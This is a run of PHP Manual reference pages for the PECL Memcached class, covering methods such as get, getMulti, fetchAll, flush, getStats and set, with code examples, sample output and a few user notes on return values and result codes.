array(3) {
  ["key"]=>
  string(3) "int"
  "value"]=>
  int(99)
  ["cas"]=>
  float(2363)
}
array(3) {
  ["key"]=>
  string(5) "array"
  ["value"]=>
  array(2) {
    [0]=>
    int(11)
    [1]=>
    int(12)
  }
  ["cas"]=>
  float(2365)
}

See Also

  • Memcached::fetchAll() - Fetch all the remaining results
  • Memcached::getDelayed() - Request multiple items

User Contributed Notes

There are no user contributed notes for this page.
Memcached::deleteByKey
Memcached::fetchAll
Memcached


Fetch all the remaining results

Memcached::fetch
Memcached::flush
Memcached
PHP Manual

Memcached::fetchAll

(PECL memcached >= 0.1.0)

Memcached::fetchAll — Fetch all the remaining results

Description

public array Memcached::fetchAll ( void )

Memcached::fetchAll() retrieves all the remaining results from the last request.

Parameters

This function has no parameters.

Return Values

Returns the results or FALSE on failure. Use Memcached::getResultCode() if necessary.

Examples

Example #1 Memcached::getDelayed() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('int', 99);
$m->set('string', 'a simple string');
$m->set('array', array(11, 12));

$m->getDelayed(array('int', 'array'), true);
var_dump($m->fetchAll());
?>

The above example will output:

array(2) {
  [0]=>
  array(3) {
    ["key"]=>
    string(3) "int"
    ["value"]=>
    int(99)
    ["cas"]=>
    float(2363)
  }
  [1]=>
  array(3) {
    ["key"]=>
    string(5) "array"
    ["value"]=>
    array(2) {
      [0]=>
      int(11)
      [1]=>
      int(12)
    }
    ["cas"]=>
    float(2365)
  }
}

See Also

  • Memcached::fetch() - Fetch the next result
  • Memcached::getDelayed() - Request multiple items

User Contributed Notes

There are no user contributed notes for this page.
Memcached::fetch
Memcached::flush
Memcached


Invalidate all items in the cache

Memcached::fetchAll
Memcached::get
Memcached
PHP Manual

Memcached::flush

(PECL memcached >= 0.1.0)

Memcached::flush — Invalidate all items in the cache

Description

public bool Memcached::flush ([ int $delay = 0 ] )

Memcached::flush() invalidates all existing cache items immediately (by default) or after the delay specified. After invalidation none of the items will be returned in response to a retrieval command (unless it's stored again under the same key after Memcached::flush() has invalidated the items). The flush does not actually free all the memory taken up by the existing items; that will happen gradually as new items are stored.

Parameters

delay

Numer of seconds to wait before invalidating the items.

Return Values

Returns TRUE on success or FALSE on failure. Use Memcached::getResultCode() if necessary.

Examples

Example #1 Memcached::flush() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

/* flush all items in 10 seconds */
$m->flush(10);
?>

User Contributed Notes

There are no user contributed notes for this page.
Memcached::fetchAll
Memcached::get
Memcached


Retrieve an item

Memcached::flush
Memcached::getByKey
Memcached
PHP Manual

Memcached::get

(PECL memcached >= 0.1.0)

Memcached::get — Retrieve an item

Description

public mixed Memcached::get ( string $key [, callback $cache_cb [, float &$cas_token ]] )

Memcached::get() returns the item that was previously stored under the key. If the item is found and cas_token variable is provided, it will contain the CAS token value for the item. See Memcached::cas() for how to use CAS tokens. Read-through caching callback may be specified via cache_cb parameter.

Parameters

key

The key of the item to retrieve.

cache_cb

Read-through caching callback or NULL.

cas_token

The variable to store the CAS token in.

Return Values

Returns the value stored in the cache or FALSE otherwise. The Memcached::getResultCode() will return Memcached::RES_NOTFOUND if the key does not exist.

Examples

Example #1 Memcached::get() example #1

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('foo', 100);
var_dump($m->get('foo'));
?>

The above example will output:

int(100)

Example #2 Memcached::get() example #2

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

if (!($ip = $m->get('ip_block'))) {
    if ($m->getResultCode() == Memcached::RES_NOTFOUND) {
        $ip = array();
        $m->set('ip_block', $ip);
    } else {
        /* log error */
        /* ...       */
    }
}
?>

See Also

  • Memcached::getByKey() - Retrieve an item from a specific server
  • Memcached::getMulti() - Retrieve multiple items
  • Memcached::getDelayed() - Request multiple items

User Contributed Notes

denis_truffaut[A-T]hotmail[D-O-T]com 17-Jan-2011 06:01
Note that this function can return NULL as FALSE, so don't make checks with === FALSE as with the old Memcache class, because it won't work. :O

Use the not (!) operator and check the result code with getResultCode() as mentioned in the documentation :)
miha at hribar dot info 17-Jul-2009 01:31
This method also returns false in case you set the value to false, so in order to have a proper fault mechanism in place you need to check the result code to be certain that a key really does not exist in memcached.

<?php
$Memcached = new Memcached();
$Memcached->addServer('localhost', 11211);
$Memcached->set('key', false);
var_dump($Memcached->get('key'));       // boolean false
var_dump($Memcached->getResultCode());  // int 0 which is Memcached::RES_SUCCESS
?>

Or just make sure the values are not false :)
Memcached::flush
Memcached::getByKey
Memcached


Retrieve an item from a specific server

Memcached::get
Memcached::getDelayed
Memcached
PHP Manual

Memcached::getByKey

(PECL memcached >= 0.1.0)

Memcached::getByKey — Retrieve an item from a specific server

Description

public mixed Memcached::getByKey ( string $server_key , string $key [, callback $cache_cb [, float &$cas_token ]] )

Memcached::getByKey() is functionally equivalent to Memcached::get(), except that the free-form server_key can be used to map the key to a specific server.

Parameters

server_key

The key identifying the server to store the value on.

key

The key of the item to fetch.

cache_cb

Read-through caching callback or NULL

cas_token

The variable to store the CAS token in.

Return Values

Returns the value stored in the cache or FALSE otherwise. The Memcached::getResultCode() will return Memcached::RES_NOTFOUND if the key does not exist.

See Also

  • Memcached::get() - Retrieve an item
  • Memcached::getMulti() - Retrieve multiple items
  • Memcached::getDelayed() - Request multiple items

User Contributed Notes

There are no user contributed notes for this page.
Memcached::get
Memcached::getDelayed
Memcached


Request multiple items

Memcached::getByKey
Memcached::getDelayedByKey
Memcached
PHP Manual

Memcached::getDelayed

(PECL memcached >= 0.1.0)

Memcached::getDelayed — Request multiple items

Description

public bool Memcached::getDelayed ( array $keys [, bool $with_cas [, callback $value_cb ]] )

Memcached::getDelayed() issues a request to memcache for multiple items the keys of which are specified in the keys array. The method does not wait for response and returns right away. When you are ready to collect the items, call either Memcached::fetch() or Memcached::fetchAll(). If with_cas is true, the CAS token values will also be requested.

Instead of fetching the results explicitly, you can specify a result callback via value_cb parameter.

Parameters

keys

Array of keys to request.

with_cas

Whether to request CAS token values also.

value_cb

The result callback or NULL.

Return Values

Returns TRUE on success or FALSE on failure. Use Memcached::getResultCode() if necessary.

Examples

Example #1 Memcached::getDelayed() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('int', 99);
$m->set('string', 'a simple string');
$m->set('array', array(11, 12));

$m->getDelayed(array('int', 'array'), true);
var_dump($m->fetchAll());
?>

The above example will output:

array(2) {
  [0]=>
  array(3) {
    ["key"]=>
    string(3) "int"
    ["value"]=>
    int(99)
    ["cas"]=>
    float(2363)
  }
  [1]=>
  array(3) {
    ["key"]=>
    string(5) "array"
    ["value"]=>
    array(2) {
      [0]=>
      int(11)
      [1]=>
      int(12)
    }
    ["cas"]=>
    float(2365)
  }
}

See Also

  • Memcached::getDelayedByKey() - Request multiple items from a specific server
  • Memcached::fetch() - Fetch the next result
  • Memcached::fetchAll() - Fetch all the remaining results

User Contributed Notes

antmat at mail dot ru 18-Feb-2011 08:16
Actually, when you pass a callback, method doesn't return immediately, but waits for results and calls callback function.
Memcached::getByKey
Memcached::getDelayedByKey
Memcached


Request multiple items from a specific server

Memcached::getDelayed
Memcached::getMulti
Memcached
PHP Manual

Memcached::getDelayedByKey

(PECL memcached >= 0.1.0)

Memcached::getDelayedByKey — Request multiple items from a specific server

Description

public bool Memcached::getDelayedByKey ( string $server_key , array $keys [, bool $with_cas [, callback $value_cb ]] )

Memcached::getDelayedByKey() is functionally equivalent to Memcached::getDelayed(), except that the free-form server_key can be used to map the keys to a specific server.

Parameters

server_key

The key identifying the server to store the value on.

keys

Array of keys to request.

with_cas

Whether to request CAS token values also.

value_cb

The result callback or NULL.

Return Values

Returns TRUE on success or FALSE on failure. Use Memcached::getResultCode() if necessary.

See Also

  • Memcached::getDelayed() - Request multiple items
  • Memcached::fetch() - Fetch the next result
  • Memcached::fetchAll() - Fetch all the remaining results

User Contributed Notes

There are no user contributed notes for this page.
Memcached::getDelayed
Memcached::getMulti
Memcached


Retrieve multiple items

Memcached::getDelayedByKey
Memcached::getMultiByKey
Memcached
PHP Manual

Memcached::getMulti

(PECL memcached >= 0.1.0)

Memcached::getMulti — Retrieve multiple items

Description

public mixed Memcached::getMulti ( array $keys [, array &$cas_tokens [, int $flags ]] )

Memcached::getMulti() is similar to Memcached::get(), but instead of a single key item, it retrieves multiple items the keys of which are specified in the keys array. If cas_tokens variable is provided, it is filled with the CAS token values for the found items.

Note:

Unlike Memcached::get() it is not possible to specify a read-through cache callback for Memcached::getMulti(), because the memcache protocol does not provide information on which keys were not found in the multi-key request.

The flags parameter can be used to specify additional options for Memcached::getMulti(). Currently, the only available option is Memcached::GET_PRESERVE_ORDER that ensures that the keys are returned in the same order as they were requested in.

Parameters

keys

Array of keys to retrieve.

cas_tokens

The variable to store the CAS tokens for the found items.

flags

The flags for the get operation.

Return Values

Returns the array of found items or FALSE on failure. Use Memcached::getResultCode() if necessary.

Examples

Example #1 Memcached::getMulti() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$items = array(
    'key1' => 'value1',
    'key2' => 'value2',
    'key3' => 'value3'
);
$m->setMulti($items);
$result = $m->getMulti(array('key1', 'key3', 'badkey'), $cas);
var_dump($result, $cas);
?>

The above example will output something similar to:

array(2) {
  ["key1"]=>
  string(6) "value1"
  ["key3"]=>
  string(6) "value3"
}
array(2) {
  ["key1"]=>
  float(2360)
  ["key3"]=>
  float(2362)
}

Example #2 Memcached::GET_PRESERVE_ORDER example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$data = array(
    'foo' => 'foo-data',
    'bar' => 'bar-data',
    'baz' => 'baz-data',
    'lol' => 'lol-data',
    'kek' => 'kek-data',
);

$m->setMulti($data, 3600);

$null = null;
$keys = array_keys($data);
$keys[] = 'zoo';
$got = $m->getMulti($keys, $null, Memcached::GET_PRESERVE_ORDER);

foreach ($got as $k => $v) {
    echo "$k $v\n";
}
?>

The above example will output something similar to:

foo foo-data
bar bar-data
baz baz-data
lol lol-data
kek kek-data
zoo

See Also

  • Memcached::getMultiByKey() - Retrieve multiple items from a specific server
  • Memcached::get() - Retrieve an item
  • Memcached::getDelayed() - Request multiple items

User Contributed Notes

There are no user contributed notes for this page.
Memcached::getDelayedByKey
Memcached::getMultiByKey
Memcached


Retrieve multiple items from a specific server

Memcached::getMulti
Memcached::getOption
Memcached
PHP Manual

Memcached::getMultiByKey

(PECL memcached >= 0.1.0)

Memcached::getMultiByKey — Retrieve multiple items from a specific server

Description

public array Memcached::getMultiByKey ( string $server_key , array $keys [, string &$cas_tokens [, int $flags ]] )

Memcached::getMultiByKey() is functionally equivalent to Memcached::getMulti(), except that the free-form server_key can be used to map the keys to a specific server.

Parameters

server_key

The key identifying the server to store the value on.

keys

Array of keys to retrieve.

cas_tokens

The variable to store the CAS tokens for the found items.

flags

The flags for the get operation.

Return Values

Returns the array of found items or FALSE on failure. Use Memcached::getResultCode() if necessary.

See Also

  • Memcached::getMulti() - Retrieve multiple items
  • Memcached::get() - Retrieve an item
  • Memcached::getDelayed() - Request multiple items

User Contributed Notes

There are no user contributed notes for this page.
Memcached::getMulti
Memcached::getOption
Memcached


Retrieve a Memcached option value

Memcached::getMultiByKey
Memcached::getResultCode
Memcached
PHP Manual

Memcached::getOption

(PECL memcached >= 0.1.0)

Memcached::getOption — Retrieve a Memcached option value

Description

public mixed Memcached::getOption ( int $option )

This method returns the value of a Memcached option. Some options correspond to the ones defined by libmemcached, and some are specific to the extension. See Memcached Constants for more information.

Parameters

option

One of the Memcached::OPT_* constants.

Return Values

Returns the value of the requested option, or FALSE on error.

Examples

Example #1 Retrieving Memcached options

<?php
$m = new Memcached();
var_dump($m->getOption(Memcached::OPT_COMPRESSION));
var_dump($m->getOption(Memcached::OPT_POLL_TIMEOUT));
?>

The above example will output something similar to:

bool(true)
int(1000)

See Also

  • Memcached::setOption() - Set a Memcached option
  • Memcached Constants

User Contributed Notes

There are no user contributed notes for this page.
Memcached::getMultiByKey
Memcached::getResultCode
Memcached


Return the result code of the last operation

Memcached::getOption
Memcached::getResultMessage
Memcached
PHP Manual

Memcached::getResultCode

(PECL memcached >= 0.1.0)

Memcached::getResultCode — Return the result code of the last operation

Description

public int Memcached::getResultCode ( void )

Memcached::getResultCode() returns one of the Memcached::RES_* constants that is the result of the last executed Memcached method.

Parameters

This function has no parameters.

Return Values

Result code of the last Memcached operation.

Examples

Example #1 Memcached::getResultCode() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->add('foo', 'bar');
if ($m->getResultCode() == Memcached::RES_NOTSTORED) {
    /* ... */
}
?>

User Contributed Notes

fredrik at neam dot se 27-Jul-2011 02:43
A more up to date and correct list of the result codes (Note that ERR_NO maps to 26 not 25 as stated above):

Memcached::OPT_COMPRESSION - -1001
Memcached::OPT_SERIALIZER - -1003
Memcached::SERIALIZER_PHP - 1
Memcached::SERIALIZER_IGBINARY - 2
Memcached::SERIALIZER_JSON - 3
Memcached::OPT_PREFIX_KEY - -1002
Memcached::OPT_HASH - 2
Memcached::HASH_DEFAULT - 0
Memcached::HASH_MD5 - 1
Memcached::HASH_CRC - 2
Memcached::HASH_FNV1_64 - 3
Memcached::HASH_FNV1A_64 - 4
Memcached::HASH_FNV1_32 - 5
Memcached::HASH_FNV1A_32 - 6
Memcached::HASH_HSIEH - 7
Memcached::HASH_MURMUR - 8
Memcached::OPT_DISTRIBUTION - 9
Memcached::DISTRIBUTION_MODULA - 0
Memcached::DISTRIBUTION_CONSISTENT - 1
Memcached::OPT_LIBKETAMA_COMPATIBLE - 16
Memcached::OPT_BUFFER_WRITES - 10
Memcached::OPT_BINARY_PROTOCOL - 18
Memcached::OPT_NO_BLOCK - 0
Memcached::OPT_TCP_NODELAY - 1
Memcached::OPT_SOCKET_SEND_SIZE - 4
Memcached::OPT_SOCKET_RECV_SIZE - 5
Memcached::OPT_CONNECT_TIMEOUT - 14
Memcached::OPT_RETRY_TIMEOUT - 15
Memcached::OPT_SEND_TIMEOUT - 19
Memcached::OPT_RECV_TIMEOUT - 15
Memcached::OPT_POLL_TIMEOUT - 8
Memcached::OPT_CACHE_LOOKUPS - 6
Memcached::OPT_SERVER_FAILURE_LIMIT - 21
Memcached::HAVE_IGBINARY - #&UNDEFINED;#
Memcached::HAVE_JSON - #&UNDEFINED;#
Memcached::GET_PRESERVE_ORDER - 1
Memcached::RES_SUCCESS - 0
Memcached::RES_FAILURE - 1
Memcached::RES_HOST_LOOKUP_FAILURE - 2
Memcached::RES_UNKNOWN_READ_FAILURE - 7
Memcached::RES_PROTOCOL_ERROR - 8
Memcached::RES_CLIENT_ERROR - 9
Memcached::RES_SERVER_ERROR - 10
Memcached::RES_WRITE_FAILURE - 5
Memcached::RES_DATA_EXISTS - 12
Memcached::RES_NOTSTORED - 14
Memcached::RES_NOTFOUND - 16
Memcached::RES_PARTIAL_READ - 18
Memcached::RES_SOME_ERRORS - 19
Memcached::RES_NO_SERVERS - 20
Memcached::RES_END - 21
Memcached::RES_ERRNO - 26
Memcached::RES_BUFFERED - 32
Memcached::RES_TIMEOUT - 31
Memcached::RES_BAD_KEY_PROVIDED - 33
Memcached::RES_CONNECTION_SOCKET_CREATE_FAILURE - 11
Memcached::RES_PAYLOAD_FAILURE - -1001
Pablo Viojo pviojo at gmail dot com 03-Sep-2009 10:12
Memcached::RES_* values:

    * Memcached::RES_SUCCESS: 0
    * Memcached::RES_FAILURE: 1
    * Memcached::RES_HOST_LOOKUP_FAILURE: 2
    * Memcached::RES_UNKNOWN_READ_FAILURE: 7
    * Memcached::RES_PROTOCOL_ERROR: 8
    * Memcached::RES_CLIENT_ERROR: 9
    * Memcached::RES_SERVER_ERROR: 10
    * Memcached::RES_WRITE_FAILURE: 5
    * Memcached::RES_DATA_EXISTS: 12
    * Memcached::RES_NOTSTORED: 14
    * Memcached::RES_NOTFOUND: 16
    * Memcached::RES_PARTIAL_READ: 18
    * Memcached::RES_SOME_ERRORS: 19
    * Memcached::RES_NO_SERVERS: 20
    * Memcached::RES_END: 21
    * Memcached::RES_ERRNO: 25
    * Memcached::RES_BUFFERED: 31
    * Memcached::RES_TIMEOUT: 30
    * Memcached::RES_BAD_KEY_PROVIDED: 32
    * Memcached::RES_CONNECTION_SOCKET_CREATE_FAILURE: 11
    * Memcached::RES_PAYLOAD_FAILURE: -1001
Memcached::getOption
Memcached::getResultMessage
Memcached


Return the message describing the result of the last operation

Memcached::getResultCode
Memcached::getServerByKey
Memcached
PHP Manual

Memcached::getResultMessage

(PECL memcached >= 1.0.0)

Memcached::getResultMessage — Return the message describing the result of the last operation

Description

public string Memcached::getResultMessage ( void )

Memcached::getResultMessage() returns a string that describes the result code of the last executed Memcached method.

Parameters

This function has no parameters.

Return Values

Message describing the result of the last Memcached operation.

Examples

Example #1 Memcached::getResultMessage() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->add('foo', 'bar'); // first time should succeed
$m->add('foo', 'bar');
echo $m->getResultMessage(),"\n";
?>

The above example will output:

NOT STORED

User Contributed Notes

There are no user contributed notes for this page.
Memcached::getResultCode
Memcached::getServerByKey
Memcached


Map a key to a server

Memcached::getResultMessage
Memcached::getServerList
Memcached
PHP Manual

Memcached::getServerByKey

(PECL memcached >= 0.1.0)

Memcached::getServerByKey — Map a key to a server

Description

public array Memcached::getServerByKey ( string $server_key )

Memcached::getServerByKey() returns the server that would be selected by a particular server_key in all the Memcached::*ByKey() operations.

Parameters

server_key

The key identifying the server to store the value on.

Return Values

Returns TRUE on success or FALSE on failure. Use Memcached::getResultCode() if necessary.

Examples

Example #1 Memcached::getServerByKey() example

<?php
$m = new Memcached();
$m->addServers(array(
    array('mem1.domain.com', 11211, 40),
    array('mem2.domain.com', 11211, 40),
    array('mem3.domain.com', 11211, 20),
));

$m->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true);

var_dump($m->getServerByKey('user'));
var_dump($m->getServerByKey('log'));
var_dump($m->getServerByKey('ip'));
?>

The above example will output something similar to:

array(3) {
  ["host"]=>
  string(15) "mem3.domain.com"
  ["port"]=>
  int(11211)
  ["weight"]=>
  int(20)
}
array(3) {
  ["host"]=>
  string(15) "mem2.domain.com"
  ["port"]=>
  int(11211)
  ["weight"]=>
  int(40)
}
array(3) {
  ["host"]=>
  string(15) "mem2.domain.com"
  ["port"]=>
  int(11211)
  ["weight"]=>
  int(40)
}

User Contributed Notes

There are no user contributed notes for this page.
Memcached::getResultMessage
Memcached::getServerList
Memcached


Get the list of the servers in the pool

Memcached::getServerByKey
Memcached::getStats
Memcached
PHP Manual

Memcached::getServerList

(PECL memcached >= 0.1.0)

Memcached::getServerList — Get the list of the servers in the pool

Description

public array Memcached::getServerList ( void )

Memcached::getServerList() returns the list of all servers that are in its server pool.

Parameters

This function has no parameters.

Return Values

The list of all servers in the server pool.

Examples

Example #1 Memcached::getServerList() example

<?php
$m = new Memcached();
$m->addServers(array(
    array('mem1.domain.com', 11211, 20),
    array('mem2.domain.com', 11311, 80),
));
var_dump($m->getServerList());
?>

The above example will output:

array(2) {
  [0]=>
  array(3) {
    ["host"]=>
    string(15) "mem1.domain.com"
    ["port"]=>
    int(11211)
    ["weight"]=>
    int(20)
  }
  [1]=>
  array(3) {
    ["host"]=>
    string(15) "mem2.domain.com"
    ["port"]=>
    int(11311)
    ["weight"]=>
    int(80)
  }
}

User Contributed Notes

There are no user contributed notes for this page.
Memcached::getServerByKey
Memcached::getStats
Memcached


Get server pool statistics

Memcached::getServerList
Memcached::getVersion
Memcached
PHP Manual

Memcached::getStats

(PECL memcached >= 0.1.0)

Memcached::getStats — Get server pool statistics

Description

public array Memcached::getStats ( void )

Memcached::getStats() returns an array containing the state of all available memcache servers. See » memcache protocol specification for details on these statistics.

Parameters

This function has no parameters.

Return Values

Array of server statistics, one entry per server.

Examples

Example #1 Memcached::getStats() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

print_r($m->getStats());
?>

The above example will output something similar to:

Array
(
    [localhost:11211] => Array
        (
            [pid] => 4933
            [uptime] => 786123
            [threads] => 1
            [time] => 1233868010
            [pointer_size] => 32
            [rusage_user_seconds] => 0
            [rusage_user_microseconds] => 140000
            [rusage_system_seconds] => 23
            [rusage_system_microseconds] => 210000
            [curr_items] => 145
            [total_items] => 2374
            [limit_maxbytes] => 67108864
            [curr_connections] => 2
            [total_connections] => 151
            [connection_structures] => 3
            [bytes] => 20345
            [cmd_get] => 213343
            [cmd_set] => 2381
            [get_hits] => 204223
            [get_misses] => 9120
            [evictions] => 0
            [bytes_read] => 9092476
            [bytes_written] => 15420512
            [version] => 1.2.6
        )

)

User Contributed Notes

ar knownat plista with com 17-Dec-2009 11:13
The method currently does not support the optional (and subject to change) type parameter for the stats command:
 - "items", "sizes", "slabs"

The documentation for the optional parameters can be found here (sections below General-purpose statistics):
http://code.sixapart.com/svn/memcached/trunk/server/doc/protocol.txt

The Memcache Extension can be uses to retrieve that information:
http://www.php.net/manual/en/function.memcache-getstats.php
Memcached::getServerList
Memcached::getVersion
Memcached


Get server pool version info

Memcached::getStats
Memcached::increment
Memcached
PHP Manual

Memcached::getVersion

(PECL memcached >= 0.1.5)

Memcached::getVersion — Get server pool version info

Description

public array Memcached::getVersion ( void )

Memcached::getVersion() returns an array containing the version info for all available memcache servers.

Parameters

This function has no parameters.

Return Values

Array of server versions, one entry per server.

Examples

Example #1 Memcached::getVersion() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

print_r($m->getVersion());
?>

The above example will output something similar to:

Array
(
    [localhost:11211] => 1.2.6
)

User Contributed Notes

Nap 23-Jul-2011 04:15
You can use this function to check if any connections is available. It returns false if all memcached servers are down.
Memcached::getStats
Memcached::increment
Memcached


Increment numeric item's value

Memcached::getVersion
Memcached::prepend
Memcached
PHP Manual

Memcached::increment

(PECL memcached >= 0.1.0)

Memcached::increment — Increment numeric item's value

Description

public int Memcached::increment ( string $key [, int $offset = 1 ] )

Memcached::increment() increments a numeric item's value by the specified offset. If the item's value is not numeric, it is treated as if the value were 0. Memcached::increment() will fail if the item does not exist.

Parameters

key

The key of the item to increment.

offset

The amount by which to increment the item's value.

Return Values

Returns new item's value on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTFOUND if the key does not exist.

Examples

Example #1 Memcached::increment() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('counter', 0);
$m->increment('counter');
$m->increment('counter', 10);
var_dump($m->get('counter'));

$m->set('key', 'abc');
$m->increment('counter');
?>

The above example will output:

int(11)
string(1) "1"

See Also

  • Memcached::decrement() - Decrement numeric item's value

User Contributed Notes

There are no user contributed notes for this page.
Memcached::getVersion
Memcached::prepend
Memcached


Prepend data to an existing item

Memcached::increment
Memcached::prependByKey
Memcached
PHP Manual

Memcached::prepend

(PECL memcached >= 0.1.0)

Memcached::prepend — Prepend data to an existing item

Description

public bool Memcached::prepend ( string $key , string $value )

Memcached::prepend() prepends the given value string to the value of an existing item. The reason that value is forced to be a string is that prepending mixed types is not well-defined.

Note:

If the Memcached::OPT_COMPRESSION is enabled, the operation will fail and a warning will be issued, because prepending compressed data to a value that is potentially already compressed is not possible.

Parameters

key

The key of the item to prepend the data to.

value

The string to prepend.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTSTORED if the key does not exist.

Examples

Example #1 Memcached::prepend() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$m->setOption(Memcached::OPT_COMPRESSION, false);

$m->set('foo', 'abc');
$m->prepend('foo', 'def');
var_dump($m->get('foo'));
?>

The above example will output:

string(6) "defabc"

See Also

  • Memcached::prependByKey() - Prepend data to an existing item on a specific server
  • Memcached::append() - Append data to an existing item

User Contributed Notes

There are no user contributed notes for this page.
Memcached::increment
Memcached::prependByKey
Memcached


Prepend data to an existing item on a specific server

Memcached::prepend
Memcached::replace
Memcached
PHP Manual

Memcached::prependByKey

(PECL memcached >= 0.1.0)

Memcached::prependByKey — Prepend data to an existing item on a specific server

Description

public bool Memcached::prependByKey ( string $server_key , string $key , string $value )

Memcached::prependByKey() is functionally equivalent to Memcached::prepend(), except that the free-form server_key can be used to map the key to a specific server.

Parameters

server_key

The key identifying the server to store the value on.

key

The key of the item to prepend the data to.

value

The string to prepend.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTSTORED if the key does not exist.

See Also

  • Memcached::prepend() - Prepend data to an existing item
  • Memcached::append() - Append data to an existing item

User Contributed Notes

There are no user contributed notes for this page.
Memcached::prepend
Memcached::replace
Memcached


Replace the item under an existing key

Memcached::prependByKey
Memcached::replaceByKey
Memcached
PHP Manual

Memcached::replace

(PECL memcached >= 0.1.0)

Memcached::replace — Replace the item under an existing key

Description

public bool Memcached::replace ( string $key , mixed $value [, int $expiration ] )

Memcached::replace() is similar to Memcached::set(), but the operation fails if the key does not exist on the server.

Parameters

key

The key under which to store the value.

value

The value to store.

expiration

The expiration time, defaults to 0. See Expiration Times for more info.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTSTORED if the key does not exist.

See Also

  • Memcached::replaceByKey() - Replace the item under an existing key on a specific server
  • Memcached::set() - Store an item
  • Memcached::add() - Add an item under a new key

User Contributed Notes

There are no user contributed notes for this page.
Memcached::prependByKey
Memcached::replaceByKey
Memcached


Replace the item under an existing key on a specific server

Memcached::replace
Memcached::set
Memcached
PHP Manual

Memcached::replaceByKey

(PECL memcached >= 0.1.0)

Memcached::replaceByKey — Replace the item under an existing key on a specific server

Description

public bool Memcached::replaceByKey ( string $server_key , string $key , mixed $value [, int $expiration ] )

Memcached::replaceByKey() is functionally equivalent to Memcached::replace(), except that the free-form server_key can be used to map the key to a specific server. This is useful if you need to keep a bunch of related keys on a certain server.

Parameters

server_key

The key identifying the server to store the value on.

key

The key under which to store the value.

value

The value to store.

expiration

The expiration time, defaults to 0. See Expiration Times for more info.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTSTORED if the key does not exist.

See Also

  • Memcached::replace() - Replace the item under an existing key
  • Memcached::set() - Store an item
  • Memcached::add() - Add an item under a new key

User Contributed Notes

There are no user contributed notes for this page.
Memcached::replace
Memcached::set
Memcached


Store an item

Memcached::replaceByKey
Memcached::setByKey
Memcached
PHP Manual

Memcached::set

(PECL memcached >= 0.1.0)

Memcached::set — Store an item

Description

public bool Memcached::set ( string $key , mixed $value [, int $expiration ] )

Memcached::set() stores the value on a memcache server under the specified key. The expiration parameter can be used to control when the value is considered expired.

The value can be any valid PHP type except for resources, because those cannot be represented in a serialized form. If the Memcached::OPT_COMPRESSION option is turned on, the serialized value will also be compressed before storage.

Parameters

key

The key under which to store the value.

value

The value to store.

expiration

The expiration time, defaults to 0. See Expiration Times for more info.

Return Values

Returns TRUE on success or FALSE on failure. Use Memcached::getResultCode() if necessary.

Examples

Example #1 Memcached::set() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('int', 99);
$m->set('string', 'a simple string');
$m->set('array', array(11, 12));
/* expire 'object' key in 5 minutes */
$m->set('object', new stdclass, time() + 300);

var_dump($m->get('int'));
var_dump($m->get('string'));
var_dump($m->get('array'));
var_dump($m->get('object'));
?>

The above example will output something similar to:

int(99)
string(15) "a simple string"
array(2) {
  [0]=>
  int(11)
  [1]=>
  int(12)
}
object(stdClass)#1 (0) {
}

See Also

  • Memcached::setByKey() - Store an item on a specific server
  • Memcached::add() - Add an item under a new key
  • Memcached::replace() - Replace the item under an existing key

User Contributed Notes

miha at hribar dot info 16-Jul-2009 08:26
The method correctly returns false if you set the value to false. This means that in order to have proper fault checking mechanism in place you need to check the result code.

<?php
$Memcached = new Memcached();
$Memcached->addServer('localhost', 11211);
$Memcached->set('key', false);
var_dump($Memcached->get('key'));      // boolean false
var_dump($Memcached->getResultCode()); // int 0 which is  Memcached::RES_SUCCESS
?>
Memcached::replaceByKey
Memcached::setByKey
Memcached


Store an item on a specific server

Memcached::set
Memcached::setMulti
Memcached
PHP Manual

Memcached::setByKey

(PECL memcached >= 0.1.0)

Memcached::setByKey — Store an item on a specific server

Description

public bool Memcached::setByKey ( string $server_key , string $key , mixed $value [, int $expiration ] )

Memcached::setByKey() is functionally equivalent to Memcached::set(), except that the free-form server_key can be used to map the key to a specific server. This is useful if you need to keep a bunch of related keys on a certain server.

Parameters

server_key

The key identifying the server to store the value on.

key

The key under which to store the value.

value

The value to store.

expiration

The expiration time, defaults to 0. See Expiration Times for more info.

Return Values

Returns TRUE on success or FALSE on failure. Use Memcached::getResultCode() if necessary.

Examples

Example #1 Memcached::setByKey() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

/* keep IP blocks on a certain server */
$m->setByKey('api-cache', 'block-ip:169.254.253.252', 1);
$m->setByKey('api-cache', 'block-ip:169.127.127.202', 1);
?>

See Also

  • Memcached::set() - Store an item

User Contributed Notes

There are no user contributed notes for this page.
Memcached::set
Memcached::setMulti
Memcached


Store multiple items

Memcached::setByKey
Memcached::setMultiByKey
Memcached
PHP Manual

Memcached::setMulti

(PECL memcached >= 0.1.0)

Memcached::setMulti — Store multiple items

Description

public bool Memcached::setMulti ( array $items [, int $expiration ] )

Memcached::setMulti() is similar to Memcached::set(), but instead of a single key/value item, it works on multiple items specified in items. The expiration time applies to all the items at once.

Parameters

items

An array of key/value pairs to store on the server.

expiration

The expiration time, defaults to 0. See Expiration Times for more info.

Return Values

Returns TRUE on success or FALSE on failure. Use Memcached::getResultCode() if necessary.

Examples

Example #1 Memcached::setMulti() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$items = array(
    'key1' => 'value1',
    'key2' => 'value2',
    'key3' => 'value3'
);
